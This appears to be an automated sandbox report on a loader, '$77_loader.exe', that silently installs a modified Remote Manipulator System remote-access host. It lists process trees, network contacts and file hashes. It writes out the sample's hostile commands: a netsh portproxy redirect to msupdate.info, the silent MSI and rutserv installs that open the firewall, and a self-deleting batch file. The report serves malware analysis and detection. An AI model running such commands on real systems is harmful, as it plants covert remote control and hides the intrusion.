PID 388 wrote to memory of 1640 N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe C:\Windows\system32\NETSTAT.EXE
PID 388 wrote to memory of 1640 N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe C:\Windows\system32\NETSTAT.EXE
PID 388 wrote to memory of 1420 N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe C:\Windows\system32\netsh.exe
PID 388 wrote to memory of 1420 N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe C:\Windows\system32\netsh.exe
PID 388 wrote to memory of 1420 N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe C:\Windows\system32\netsh.exe
PID 388 wrote to memory of 1740 N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe C:\Windows\system32\netsh.exe
PID 388 wrote to memory of 1740 N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe C:\Windows\system32\netsh.exe
PID 388 wrote to memory of 1740 N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe C:\Windows\system32\netsh.exe
PID 388 wrote to memory of 1376 N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe C:\Windows\system32\netsh.exe
PID 388 wrote to memory of 1376 N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe C:\Windows\system32\netsh.exe
PID 388 wrote to memory of 1376 N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe C:\Windows\system32\netsh.exe
PID 388 wrote to memory of 1516 N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe C:\Windows\system32\netsh.exe
PID 388 wrote to memory of 1516 N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe C:\Windows\system32\netsh.exe
PID 388 wrote to memory of 1516 N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe C:\Windows\system32\netsh.exe
PID 388 wrote to memory of 304 N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe C:\Windows\system32\netsh.exe
PID 388 wrote to memory of 304 N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe C:\Windows\system32\netsh.exe
PID 388 wrote to memory of 304 N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe C:\Windows\system32\netsh.exe
PID 388 wrote to memory of 2004 N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe C:\Windows\system32\NETSTAT.EXE
PID 388 wrote to memory of 2004 N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe C:\Windows\system32\NETSTAT.EXE
PID 388 wrote to memory of 2004 N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe C:\Windows\system32\NETSTAT.EXE
PID 388 wrote to memory of 1960 N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe C:\Windows\system32\NETSTAT.EXE
PID 388 wrote to memory of 1960 N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe C:\Windows\system32\NETSTAT.EXE
PID 388 wrote to memory of 1960 N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe C:\Windows\system32\NETSTAT.EXE
PID 388 wrote to memory of 2024 N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe C:\Windows\system32\NETSTAT.EXE
PID 388 wrote to memory of 2024 N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe C:\Windows\system32\NETSTAT.EXE
PID 388 wrote to memory of 2024 N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe C:\Windows\system32\NETSTAT.EXE
PID 388 wrote to memory of 1868 N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe C:\Users\Admin\AppData\Local\Temp\RMS.exe
PID 388 wrote to memory of 1868 N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe C:\Users\Admin\AppData\Local\Temp\RMS.exe
PID 388 wrote to memory of 1868 N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe C:\Users\Admin\AppData\Local\Temp\RMS.exe
PID 388 wrote to memory of 1868 N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe C:\Users\Admin\AppData\Local\Temp\RMS.exe
PID 1868 wrote to memory of 280 N/A C:\Users\Admin\AppData\Local\Temp\RMS.exe C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\installer.exe
PID 1868 wrote to memory of 280 N/A C:\Users\Admin\AppData\Local\Temp\RMS.exe C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\installer.exe
PID 1868 wrote to memory of 280 N/A C:\Users\Admin\AppData\Local\Temp\RMS.exe C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\installer.exe
PID 1868 wrote to memory of 280 N/A C:\Users\Admin\AppData\Local\Temp\RMS.exe C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\installer.exe
PID 1868 wrote to memory of 280 N/A C:\Users\Admin\AppData\Local\Temp\RMS.exe C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\installer.exe
PID 1868 wrote to memory of 280 N/A C:\Users\Admin\AppData\Local\Temp\RMS.exe C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\installer.exe
PID 1868 wrote to memory of 280 N/A C:\Users\Admin\AppData\Local\Temp\RMS.exe C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\installer.exe
PID 280 wrote to memory of 1488 N/A C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\installer.exe C:\Windows\SysWOW64\msiexec.exe
PID 280 wrote to memory of 1488 N/A C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\installer.exe C:\Windows\SysWOW64\msiexec.exe
PID 280 wrote to memory of 1488 N/A C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\installer.exe C:\Windows\SysWOW64\msiexec.exe
PID 280 wrote to memory of 1488 N/A C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\installer.exe C:\Windows\SysWOW64\msiexec.exe
PID 280 wrote to memory of 1488 N/A C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\installer.exe C:\Windows\SysWOW64\msiexec.exe
PID 280 wrote to memory of 1488 N/A C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\installer.exe C:\Windows\SysWOW64\msiexec.exe
PID 280 wrote to memory of 1488 N/A C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\installer.exe C:\Windows\SysWOW64\msiexec.exe
PID 1464 wrote to memory of 1228 N/A C:\Windows\system32\msiexec.exe C:\Windows\syswow64\MsiExec.exe

Processes

C:\Users\Admin\AppData\Local\Temp\$77_loader.exe

"C:\Users\Admin\AppData\Local\Temp\$77_loader.exe"

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe

"C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\4j03b_cs.cmdline"

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES34D.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC34C.tmp"

C:\Windows\system32\chcp.com

"C:\Windows\system32\chcp.com" 437

C:\Windows\system32\msiexec.exe

C:\Windows\system32\msiexec.exe /V

C:\Windows\system32\netsh.exe

"C:\Windows\system32\netsh.exe" interface portproxy show all

C:\Windows\system32\NETSTAT.EXE

"C:\Windows\system32\NETSTAT.EXE" -na

C:\Windows\system32\NETSTAT.EXE

"C:\Windows\system32\NETSTAT.EXE" -na

C:\Windows\system32\NETSTAT.EXE

"C:\Windows\system32\NETSTAT.EXE" -na

C:\Windows\system32\netsh.exe

"C:\Windows\system32\netsh.exe" interface portproxy reset

C:\Windows\system32\netsh.exe

"C:\Windows\system32\netsh.exe" interface portproxy show all

C:\Windows\system32\netsh.exe

"C:\Windows\system32\netsh.exe" interface portproxy add v4tov4 listenport=757 connectport=443 connectaddress=msupdate.info

C:\Windows\system32\netsh.exe

"C:\Windows\system32\netsh.exe" interface portproxy show all

C:\Windows\system32\netsh.exe

"C:\Windows\system32\netsh.exe" interface portproxy show all

C:\Windows\system32\NETSTAT.EXE

"C:\Windows\system32\NETSTAT.EXE" -na

C:\Windows\system32\NETSTAT.EXE

"C:\Windows\system32\NETSTAT.EXE" -na

C:\Windows\system32\NETSTAT.EXE

"C:\Windows\system32\NETSTAT.EXE" -na

C:\Users\Admin\AppData\Local\Temp\RMS.exe

"C:\Users\Admin\AppData\Local\Temp\RMS.exe"

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\installer.exe

"C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\installer.exe" /rsetup

C:\Windows\SysWOW64\msiexec.exe

"C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\rms.host6.3ru_mod.msi" /qn

C:\Windows\system32\msiexec.exe

C:\Windows\system32\msiexec.exe /V

C:\Windows\syswow64\MsiExec.exe

C:\Windows\syswow64\MsiExec.exe -Embedding 635115A3C4815EA581A403F5DCE7CFC7

C:\Program Files (x86)\Remote Manipulator System - Host\rutserv.exe

"C:\Program Files (x86)\Remote Manipulator System - Host\rutserv.exe" /silentinstall

C:\Program Files (x86)\Remote Manipulator System - Host\rutserv.exe

"C:\Program Files (x86)\Remote Manipulator System - Host\rutserv.exe" /firewall

C:\Program Files (x86)\Remote Manipulator System - Host\rutserv.exe

"C:\Program Files (x86)\Remote Manipulator System - Host\rutserv.exe" /start

C:\Program Files (x86)\Remote Manipulator System - Host\rutserv.exe

"C:\Program Files (x86)\Remote Manipulator System - Host\rutserv.exe"

C:\Windows\SysWOW64\cmd.exe

cmd /c C:\Users\Admin\AppData\Local\Temp\killself.bat

C:\Program Files (x86)\Remote Manipulator System - Host\rfusclient.exe

"C:\Program Files (x86)\Remote Manipulator System - Host\rfusclient.exe"

C:\Program Files (x86)\Remote Manipulator System - Host\rfusclient.exe

"C:\Program Files (x86)\Remote Manipulator System - Host\rfusclient.exe" /tray

C:\Program Files (x86)\Remote Manipulator System - Host\rfusclient.exe

"C:\Program Files (x86)\Remote Manipulator System - Host\rfusclient.exe" /tray

Network

Country Destination Domain Proto
US 8.8.8.8:53 msupdate.info udp
US 8.8.8.8:53 csc3-2004-crl.verisign.com udp
US 8.8.8.8:53 msupdate.info udp
LT 5.133.65.53:443 msupdate.info tcp
LT 5.133.65.53:80 msupdate.info tcp
N/A 127.0.0.1:999 tcp
N/A 127.0.0.1:999 tcp
N/A 127.0.0.1:999 tcp
N/A 127.0.0.1:5650 tcp
RU 77.247.243.43:5655 tcp
LT 5.133.65.53:443 msupdate.info tcp
US 8.8.8.8:53 www.microsoft.com udp
RU 77.247.243.43:5655 tcp

Files

memory/388-54-0x000007FEF4A90000-0x000007FEF54B3000-memory.dmp

memory/388-55-0x000007FEF39F0000-0x000007FEF4A86000-memory.dmp

memory/388-56-0x000007FEF2D00000-0x000007FEF385D000-memory.dmp

memory/1880-57-0x0000000000000000-mapping.dmp

\??\c:\Users\Admin\AppData\Local\Temp\4j03b_cs.cmdline

MD5 b26667758d2d9875397f53fb193fd58e
SHA1 cd3071f869b917a93d396552cecf153b094c0b0f
SHA256 7fed525f7e5fe427606ed8a7caa1f5f9cb13b51c2fab4cbe942d9fabb0761b3f
SHA512 3d2b6a7ff8fe4d3199e85071ade7b7caa1f316563fabb83e7af16567aee74d5382cfb82cb3cadfc4357b2ef708cc0507d745590716480ad51bb3cf68b726be91

\??\c:\Users\Admin\AppData\Local\Temp\4j03b_cs.0.cs

MD5 1640a04633fee0dfdc7e22c4f4063bf6
SHA1 3cb525c47b5dd37f8ee45b034c9452265fba5476
SHA256 55e16d2ca3e65ce6c62cd5be2af5d7264445c5d7e1b5f3be7149acfb47ae42a0
SHA512 85c5103dda738d6003d39b0b619e68942965ddb9d6e08e544abf377224fdb29c6cd1501a549e99e57875954cea44b5bdefd7cace018c8123e7bfb717ae0e973d

memory/1464-60-0x0000000000000000-mapping.dmp

\??\c:\Users\Admin\AppData\Local\Temp\CSC34C.tmp

MD5 8b8b255352af1f9a2bb51a7b79f8bc49
SHA1 5c833401e8b1f42074f5f556de499bd80f5bda32
SHA256 b63112f3750e2b376d6f561c36f56ecb52e328ceb1c3f2119ac75d46adaf3e85
SHA512 bdbaaed2fe274875431dc7fe6a7dfb8a23d9d4dfa765e8ebda01375db066c19e89a5ab17eedb47bedcbc286e2d1a7c9e0292aa65c0e7c0c54c2e099412c11976

C:\Users\Admin\AppData\Local\Temp\RES34D.tmp

MD5 4d1ebdc43bbac64aaa6516879f96f814
SHA1 4f9c4e5b4d92500d3cee5fa1c283269fb49caee3
SHA256 0d3fd688addc81347b9a8f7ca7ad6a971cf44cb57cb4fa8efdc2cc560abf5f17
SHA512 a95e0a0001727d1292f5d79705e39bf9e4a1ea22ecd3458d911e60de26a242e7d63885a470cc4ea06e12aca3bd974d9bc2acd37f0f06e1140830f2c54dd77310

C:\Users\Admin\AppData\Local\Temp\4j03b_cs.dll

MD5 a212e852cac8f524a30958ef7e15c4b8
SHA1 d22c1e4cda2b64a5a0fb6a89f4903388a6fbe4c1
SHA256 3ea997353877352700c353e2bae8ffd9468d600d6f135c240ca65d5721dcc339
SHA512 81805def773aa92403b9dbeb6950674bd269eb95526f2a966770e3a2e8737964f848ae9fd5990bb5f687867c49bcfa71a6666e93a596402ba89d45a4887af233

C:\Users\Admin\AppData\Local\Temp\4j03b_cs.pdb

MD5 e28f5b9a2c9f17a65b0ae2ab3381bdbb
SHA1 3df1f2cf8af400b2adf7d0c94333d5dbb07eb9b6
SHA256 e5365bf22fc272d282455e5b31966cec302e7e9dc018ba895e756b7f7d12b787
SHA512 c298978a1d7c20da3850b96af7afc78fb4d7c0acbff73ebd3ff4f7641704c8a1ab1936f4a7bf6926ddd05fc70576e158fbb8b5fb6dbfe7e3ec7a76b2b0ed6b95

memory/944-65-0x0000000000000000-mapping.dmp

memory/324-66-0x000007FEFC451000-0x000007FEFC453000-memory.dmp

memory/944-67-0x0000000000000000-mapping.dmp

memory/1200-69-0x0000000000000000-mapping.dmp

memory/1128-70-0x0000000000000000-mapping.dmp

memory/1640-71-0x0000000000000000-mapping.dmp

memory/1420-72-0x0000000000000000-mapping.dmp

memory/1740-74-0x0000000000000000-mapping.dmp

memory/1376-76-0x0000000000000000-mapping.dmp

memory/1516-78-0x0000000000000000-mapping.dmp

memory/304-80-0x0000000000000000-mapping.dmp

memory/2004-82-0x0000000000000000-mapping.dmp

memory/1960-83-0x0000000000000000-mapping.dmp

memory/2024-84-0x0000000000000000-mapping.dmp

memory/388-85-0x000000001ADE0000-0x000000001ADF9000-memory.dmp

memory/1868-86-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Local\Temp\RMS.exe

MD5 73f351beae5c881fafe36f42cde9a47c
SHA1 dc1425cfd5569bd59f5d56432df875b59da9300b
SHA256 a028816d9741540c6184091b4ae3c4e42b104f90fe3b17a55d0e4aa4c4c43824
SHA512 f484b1260e73b3717603cfcfd62e820502480d8be57a7570e6c38612c9ea86b9335c6a42742fbdb369a37fcd5ec4c2b06f426a075582c39639128ad7be92da66

memory/1868-88-0x0000000076C81000-0x0000000076C83000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\RMS.exe

MD5 73f351beae5c881fafe36f42cde9a47c
SHA1 dc1425cfd5569bd59f5d56432df875b59da9300b
SHA256 a028816d9741540c6184091b4ae3c4e42b104f90fe3b17a55d0e4aa4c4c43824
SHA512 f484b1260e73b3717603cfcfd62e820502480d8be57a7570e6c38612c9ea86b9335c6a42742fbdb369a37fcd5ec4c2b06f426a075582c39639128ad7be92da66

\Users\Admin\AppData\Local\Temp\7ZipSfx.000\installer.exe

MD5 c9704931d887685d96ce92d637d84045
SHA1 0875a71e9118ded121d92f3f46a3af1ec8380f8b
SHA256 0448c45cb43585409002e01ef53442cb9f6ad58f211f5deb3ad2ca8b8d535826
SHA512 3b739394f69ec9f26ef607a0d481f1ad3d107462220c2281cbc300f16886ab3d857bee9af59b8857c7e7ae5b04e6a849eaa5e304d6935957a0a15e462375c260

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\installer.exe

MD5 c9704931d887685d96ce92d637d84045
SHA1 0875a71e9118ded121d92f3f46a3af1ec8380f8b
SHA256 0448c45cb43585409002e01ef53442cb9f6ad58f211f5deb3ad2ca8b8d535826
SHA512 3b739394f69ec9f26ef607a0d481f1ad3d107462220c2281cbc300f16886ab3d857bee9af59b8857c7e7ae5b04e6a849eaa5e304d6935957a0a15e462375c260

memory/280-91-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\installer.exe

MD5 c9704931d887685d96ce92d637d84045
SHA1 0875a71e9118ded121d92f3f46a3af1ec8380f8b
SHA256 0448c45cb43585409002e01ef53442cb9f6ad58f211f5deb3ad2ca8b8d535826
SHA512 3b739394f69ec9f26ef607a0d481f1ad3d107462220c2281cbc300f16886ab3d857bee9af59b8857c7e7ae5b04e6a849eaa5e304d6935957a0a15e462375c260

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\rms.host6.3ru_mod.msi

MD5 73e578a44265558d3ace212869d43cbb
SHA1 d2c15578def8996ed0ae4a44754055b774b095a7
SHA256 8a6945ead42d78d963d6f2e126eebb89c0e82b02c389d4badcaa837ff49bf7f4
SHA512 fe661e19899a6f749a180e5b312fcebb2963acc92720d1c6cabba22b0ffd250f1930c9dac62f789cd4b99aff86ef0f3944ae52a583e2c1be57c9fca391be9bf4

memory/1488-96-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 4069173efea45031a0415f97d8612ea8
SHA1 fa0e2dd4ac293c0f2146074b8221031bd4cb906f
SHA256 c1b963d1f9ef26fb1a0f5edf2959884c8ebfc10472e1ef5ea44b78e46965dffd
SHA512 06c18e291bdf8d02a8fa78641065c47bbe4dd051f561f83ce658432f8d26e6d3d93029a422386a06213b69d3caab673396509a3bfd3f976c68c2e049b5632aa5

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F0ACCF77CDCBFF39F6191887F6D2D357

MD5 8d3a139b7cbf7292f00bf7fa89573334
SHA1 f79dfe5051a9c9d39943053af054966447007061
SHA256 27c85c8471d1d9fc54b7de8c5e3698abd1847444bbfd5e7a749042836eb651ae
SHA512 6032dd35deebba3131ea9ba7ce51d0d0abcf232955006383d374216211b0f27551580e1f2aff60c231536abe1dbb246c2835e236b98f1499f2595bcfcdca3078

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F0ACCF77CDCBFF39F6191887F6D2D357

MD5 a266bb7dcc38a562631361bbf61dd11b
SHA1 3b1efd3a66ea28b16697394703a72ca340a05bd5
SHA256 df545bf919a2439c36983b54cdfc903dfa4f37d3996d8d84b4c31eec6f3c163e
SHA512 0da8ef4f8f6ed3d16d2bc8eb816b9e6e1345dfe2d91160196c47e6149a1d6aedaafadcefd66acdea7f72dcf0832770192ceac15b0c559c4ccc2c0e5581d5aefc

memory/1228-102-0x0000000000000000-mapping.dmp

C:\Windows\Installer\MSI306E.tmp

MD5 b0bcc622f1fff0eec99e487fa1a4ddd9
SHA1 49aa392454bd5869fa23794196aedc38e8eea6f5
SHA256 b32687eaaad888410718875dcbff9f6a552e29c4d76af33e06e59859e1054081
SHA512 1572c1d07df2e9262d05a915d69ec4ebeb92eab50b89ce27dd290fb5a8e1de2c97d9320a3bb006834c98b3f6afcd7d2c29f039d9ca9afaa09c714406dedbc3c7

\Windows\Installer\MSI306E.tmp

MD5 b0bcc622f1fff0eec99e487fa1a4ddd9
SHA1 49aa392454bd5869fa23794196aedc38e8eea6f5
SHA256 b32687eaaad888410718875dcbff9f6a552e29c4d76af33e06e59859e1054081
SHA512 1572c1d07df2e9262d05a915d69ec4ebeb92eab50b89ce27dd290fb5a8e1de2c97d9320a3bb006834c98b3f6afcd7d2c29f039d9ca9afaa09c714406dedbc3c7

memory/816-106-0x0000000000000000-mapping.dmp

C:\Program Files (x86)\Remote Manipulator System - Host\rutserv.exe

MD5 c9704931d887685d96ce92d637d84045
SHA1 0875a71e9118ded121d92f3f46a3af1ec8380f8b
SHA256 0448c45cb43585409002e01ef53442cb9f6ad58f211f5deb3ad2ca8b8d535826
SHA512 3b739394f69ec9f26ef607a0d481f1ad3d107462220c2281cbc300f16886ab3d857bee9af59b8857c7e7ae5b04e6a849eaa5e304d6935957a0a15e462375c260

C:\Program Files (x86)\Remote Manipulator System - Host\rutserv.exe

MD5 c9704931d887685d96ce92d637d84045
SHA1 0875a71e9118ded121d92f3f46a3af1ec8380f8b
SHA256 0448c45cb43585409002e01ef53442cb9f6ad58f211f5deb3ad2ca8b8d535826
SHA512 3b739394f69ec9f26ef607a0d481f1ad3d107462220c2281cbc300f16886ab3d857bee9af59b8857c7e7ae5b04e6a849eaa5e304d6935957a0a15e462375c260

memory/1124-110-0x0000000000000000-mapping.dmp

C:\Program Files (x86)\Remote Manipulator System - Host\rutserv.exe

MD5 c9704931d887685d96ce92d637d84045
SHA1 0875a71e9118ded121d92f3f46a3af1ec8380f8b
SHA256 0448c45cb43585409002e01ef53442cb9f6ad58f211f5deb3ad2ca8b8d535826
SHA512 3b739394f69ec9f26ef607a0d481f1ad3d107462220c2281cbc300f16886ab3d857bee9af59b8857c7e7ae5b04e6a849eaa5e304d6935957a0a15e462375c260

memory/532-113-0x0000000000000000-mapping.dmp

C:\Program Files (x86)\Remote Manipulator System - Host\rutserv.exe

MD5 c9704931d887685d96ce92d637d84045
SHA1 0875a71e9118ded121d92f3f46a3af1ec8380f8b
SHA256 0448c45cb43585409002e01ef53442cb9f6ad58f211f5deb3ad2ca8b8d535826
SHA512 3b739394f69ec9f26ef607a0d481f1ad3d107462220c2281cbc300f16886ab3d857bee9af59b8857c7e7ae5b04e6a849eaa5e304d6935957a0a15e462375c260

C:\Program Files (x86)\Remote Manipulator System - Host\rutserv.exe

MD5 c9704931d887685d96ce92d637d84045
SHA1 0875a71e9118ded121d92f3f46a3af1ec8380f8b
SHA256 0448c45cb43585409002e01ef53442cb9f6ad58f211f5deb3ad2ca8b8d535826
SHA512 3b739394f69ec9f26ef607a0d481f1ad3d107462220c2281cbc300f16886ab3d857bee9af59b8857c7e7ae5b04e6a849eaa5e304d6935957a0a15e462375c260

memory/1540-118-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Local\Temp\killself.bat

MD5 c2ac85b000427a4a00f19da237aaaf86
SHA1 459ecb5e64576348e6c654724e87825772c06ea8
SHA256 b5157eceaf9b5f6448d15dcfe7011af0b44a4288f7667c5d717f042c2fba1352
SHA512 e62f711445398b0654e698c4f7d4c75bb8693e901ae99f1cf543f45ccd9532daf27bba1ceb9d180d0379a41c9a62d6ee2df30cd25b9abb05532c551a0fad814b

C:\Program Files (x86)\Remote Manipulator System - Host\English.lg

MD5 bc25377ade68750b834c81fa71c233b8
SHA1 84dbb465dd2125f47668e2508e18af9bd6db2fd8
SHA256 9a48a7ea7ba2c2f33280d1e1722ebbc59bf81bc6c5a1f97edca53ea641ffd8e3
SHA512 205ab195339d7108adbe6dfabd48e4e21c5956ded587d7213a44618f0d34a43f7b8abaa7765b9d31695efacfc44beeb69fbaa3cb27c141b6a653713fdf5ebce5

C:\Program Files (x86)\Remote Manipulator System - Host\Russian.lg

MD5 e44e34bc285b709f08f967325d9c8be1
SHA1 e73f05c6a980ec9d006930c5343955f89579b409
SHA256 1d99a7b5f7b3daa61fa773972b1e335aa09b92411484f6ddc99d2b2894455a5b
SHA512 576b292b6e9cf022822443e050994462a6cbd9a3c60063bae9f54c78a84e75e17bb5eddf7e259a22a9d93f757cb6536c503762e2a30e75091e40c2756cde8727

C:\Program Files (x86)\Remote Manipulator System - Host\RIPCServer.dll

MD5 2ddfa39f5c2fd3f00681ef2970617e4b
SHA1 8152aa18afbacf398b92168995ec8696d3fe3659
SHA256 f938bdc741ef1d2738b532aef001a160e3a3627ed8a27158b7017ee49fc65791
SHA512 f89f0f02cda650c138e4ebaef198f0762dfd571ef7d46a6b3710cd93d76bc52a79055c55afca46128a9a84a795a5cb946ca93c492e07cfb503c9b27d96211e20

C:\Program Files (x86)\Remote Manipulator System - Host\RWLN.dll

MD5 3d0b27b3f8aa22575aa0faf0b2d67216
SHA1 39fc787538849692ed7352418616f467b7a86a1d
SHA256 d7782488ef29bf0fd7e8faf0bd24414a6540bf7366434692a5a485d5ae2d7d44
SHA512 19f0785d3cecce0dbbb7da1be640bffebe4daedc65a513d1db0b5e533eb96aaa0588831de74c88e5013c00405e03ca4188c4b633e39e6c49ab5c1d1b42191ca8

C:\Program Files (x86)\Remote Manipulator System - Host\vp8decoder.dll

MD5 292a1748850d1fdc91d4ec23b02d6902
SHA1 8f15f1c24e11c0b45b19c82a78f7b79b1e7f932d
SHA256 acf354ad6ed94e876b29a60c5870dd91e7b3f76cc82c1a862c92024a12404a9f
SHA512 cf7579f1169ec21d9bf3c666d416d3fe2a4f9953d4d328b182452e40043f91055d301fd4b4a21454b847dbdb0af6a61c52657caded7d6fd7e88812aceeacf704

C:\Program Files (x86)\Remote Manipulator System - Host\vp8encoder.dll

MD5 4570f7a40357016c97afe0dd4faf749b
SHA1 ebc8a1660f1103c655559caab3a70ec23ca187f1
SHA256 a5f008bf852d4c73e001f840d6f8b233c7d9bc9570cee639d40c1c8723bf99f8
SHA512 6b16979d004adc04259f2ce043cde6f7b57f2ddf5f4cea7bb390fd6b9fb273d22355b837f1b5c2eae77ea7df792de8e6db43e31d7246f044935a8187dace493b

C:\Program Files (x86)\Remote Manipulator System - Host\webmmux.dll

MD5 038bf9f3a58560ad1130eeb85cdc1a87
SHA1 3571eb7293a2a3a5bf6eb21e1569cd151d995d1a
SHA256 d247afa3bd1ccc18e11eb099280802a61d3792a2018c476d95debf2091e9707d
SHA512 8ffa52b358841600b9122974079d22d4e11bc4214316cd85ac4d4af0e369112b6827029f74a9a9d3918db00c7fed3a9a1985e0b43da39783a748d78752ae2385

C:\Program Files (x86)\Remote Manipulator System - Host\webmvorbisdecoder.dll

MD5 eeb2c52abbc7eb1c029b7fec45a7f22e
SHA1 8bfeb412614e3db0a2bf0122f4d68cc27b8c3a61
SHA256 c0f0b84d587066af8f80f41a7be63b4c01547af3f1e011602ac1b6ee0ac54a2c
SHA512 0b5b83335c6f602b8397a3c2ae6d1e661d744eb27114463d53e344bf18774ccb38853d314ebe05536d4c28c29fe3fdaba041a6a46983789f064ca70881cfcb85

C:\Program Files (x86)\Remote Manipulator System - Host\webmvorbisencoder.dll

MD5 e38372f576d927f525ef8e1a34b54664
SHA1 26af9d1db0a3f91d7fe13147e55f06c302d59389
SHA256 4046bd0b93909a41d0fd96f0405a864c79a47f493165546569251c1f73db6b0b
SHA512 78b7477b000407990304ec37624b873514d4ed9daa1b42fd988707b7374ffab442ba28fe19884724867f3f0f7a5f12f7fc8c228c050115c902d1569e4a3b13c7

C:\Program Files (x86)\Remote Manipulator System - Host\rfusclient.exe

MD5 76ebe5fd077a62161d0ab560208b9f94
SHA1 614c218d35ba531f0bad791d52e5dcf57df5c742
SHA256 f0a653463850ce111457513e9ad3ec4443ed88c69fdf33d76e05c33ce8e1722b
SHA512 baba7b03042c4bfbf6efa9c2219ed72e393e193ee743a32501e1a5df56293b3bdf2270b92843c9333049dcfcfe52007d6e9a7bfaa0548ef268d2511cf590efde

\Program Files (x86)\Remote Manipulator System - Host\rfusclient.exe

MD5 76ebe5fd077a62161d0ab560208b9f94
SHA1 614c218d35ba531f0bad791d52e5dcf57df5c742
SHA256 f0a653463850ce111457513e9ad3ec4443ed88c69fdf33d76e05c33ce8e1722b
SHA512 baba7b03042c4bfbf6efa9c2219ed72e393e193ee743a32501e1a5df56293b3bdf2270b92843c9333049dcfcfe52007d6e9a7bfaa0548ef268d2511cf590efde

memory/320-133-0x0000000000000000-mapping.dmp

memory/1328-132-0x0000000000000000-mapping.dmp

\Program Files (x86)\Remote Manipulator System - Host\rfusclient.exe

MD5 76ebe5fd077a62161d0ab560208b9f94
SHA1 614c218d35ba531f0bad791d52e5dcf57df5c742
SHA256 f0a653463850ce111457513e9ad3ec4443ed88c69fdf33d76e05c33ce8e1722b
SHA512 baba7b03042c4bfbf6efa9c2219ed72e393e193ee743a32501e1a5df56293b3bdf2270b92843c9333049dcfcfe52007d6e9a7bfaa0548ef268d2511cf590efde

C:\Program Files (x86)\Remote Manipulator System - Host\rfusclient.exe

MD5 76ebe5fd077a62161d0ab560208b9f94
SHA1 614c218d35ba531f0bad791d52e5dcf57df5c742
SHA256 f0a653463850ce111457513e9ad3ec4443ed88c69fdf33d76e05c33ce8e1722b
SHA512 baba7b03042c4bfbf6efa9c2219ed72e393e193ee743a32501e1a5df56293b3bdf2270b92843c9333049dcfcfe52007d6e9a7bfaa0548ef268d2511cf590efde

C:\Program Files (x86)\Remote Manipulator System - Host\rfusclient.exe

MD5 76ebe5fd077a62161d0ab560208b9f94
SHA1 614c218d35ba531f0bad791d52e5dcf57df5c742
SHA256 f0a653463850ce111457513e9ad3ec4443ed88c69fdf33d76e05c33ce8e1722b
SHA512 baba7b03042c4bfbf6efa9c2219ed72e393e193ee743a32501e1a5df56293b3bdf2270b92843c9333049dcfcfe52007d6e9a7bfaa0548ef268d2511cf590efde

C:\Program Files (x86)\Remote Manipulator System - Host\rfusclient.exe

MD5 76ebe5fd077a62161d0ab560208b9f94
SHA1 614c218d35ba531f0bad791d52e5dcf57df5c742
SHA256 f0a653463850ce111457513e9ad3ec4443ed88c69fdf33d76e05c33ce8e1722b
